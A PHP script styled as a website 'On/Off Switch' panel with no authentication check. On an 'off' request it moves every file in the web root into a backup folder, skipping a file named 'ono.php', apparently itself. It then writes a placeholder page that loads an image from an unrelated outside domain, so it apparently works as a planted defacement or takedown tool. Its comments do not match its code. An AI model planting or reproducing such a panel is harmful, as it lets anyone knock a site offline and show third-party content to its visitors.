<?php
// Define the root directory and backup directory
$rootDir = __DIR__; // Current directory as root
$backupDir = $rootDir . '/backup';

// Create the backup directory if it doesn't exist
if (!file_exists($backupDir)) {
    mkdir($backupDir, 0777, true);
}

// Handle the form submission
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_POST['action'])) {
        $action = $_POST['action'];

        if ($action === 'off') {
            // Move all folders and files to the backup directory
            moveItems($rootDir, $backupDir);

            // Create an index.html file with "Website Under Construction" message
            $indexContent = "<!DOCTYPE html>
            <html lang='en'>
            <head>
                <meta charset='UTF-8'>
                <meta name='viewport' content='width=device-width, initial-scale=1.0'>
                <title>Website Under Construction</title>
                <style>
                    body {
                        display: flex;
                        justify-content: center;
                        align-items: center;
                        height: 100vh;
                        font-family: Arial, sans-serif;
                        background-color: #ffffff;
                        margin: 0;
                    }
                    h1 {
                        color: #333;
                    }
                </style>
            </head>
            <body>
               

               <div> <img src='https://com-2017.link/man2.png'></div>
            </body>
            </html>";
            file_put_contents($rootDir . '/default.php', $indexContent);

            echo "Website is now OFF.";
        } elseif ($action === 'on') {
            // Move all folders and files back to the root directory
            moveItems($backupDir, $rootDir);

            // Delete the index.html file if it exists
            if (file_exists($rootDir . '/default.php')) {
                unlink($rootDir . '/default.php');
            }

            echo "Website is now ON.";
        }
    }
}

// Function to move folders and files from source to destination
function moveItems($source, $destination) {
    $items = scandir($source);

    foreach ($items as $item) {
        // Skip special directories, the backup folder, and the oo.php file
        if ($item !== '.' && $item !== '..' && $item !== 'backup' && $item !== 'ono.php') {
            $sourcePath = $source . '/' . $item;
            $destinationPath = $destination . '/' . $item;

            // Move both files and folders
            rename($sourcePath, $destinationPath);
        }
    }
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>On/Off Switch</title>
    <!-- Import Materialize CSS -->
    <link href="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css" rel="stylesheet">
    <!-- Import Google Icon Font -->
    <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
</head>
<body>
    <div class="container">
        <div class="row">
            <div class="col s12 m6 offset-m3">
                <div class="card blue-grey darken-1">
                    <div class="card-content white-text">
                        <span class="card-title">On/Off Switch</span>
                        <p>Use the buttons below to switch the website on or off.</p>
                    </div>
                    <div class="card-action">
                        <form method="post">
                            <button class="btn waves-effect waves-light red" type="submit" name="action" value="off">
                                Switch Off Website
                                <i class="material-icons right">power_off</i>
                            </button>
                            <button class="btn waves-effect waves-light green" type="submit" name="action" value="on">
                                Switch On Website
                                <i class="material-icons right">power</i>
                            </button>
                        </form>
                    </div>
                </div>
            </div>
        </div>
    </div>

    <!-- Import jQuery -->
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
    <!-- Import Materialize JS -->
    <script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js"></script>
</body>
</html>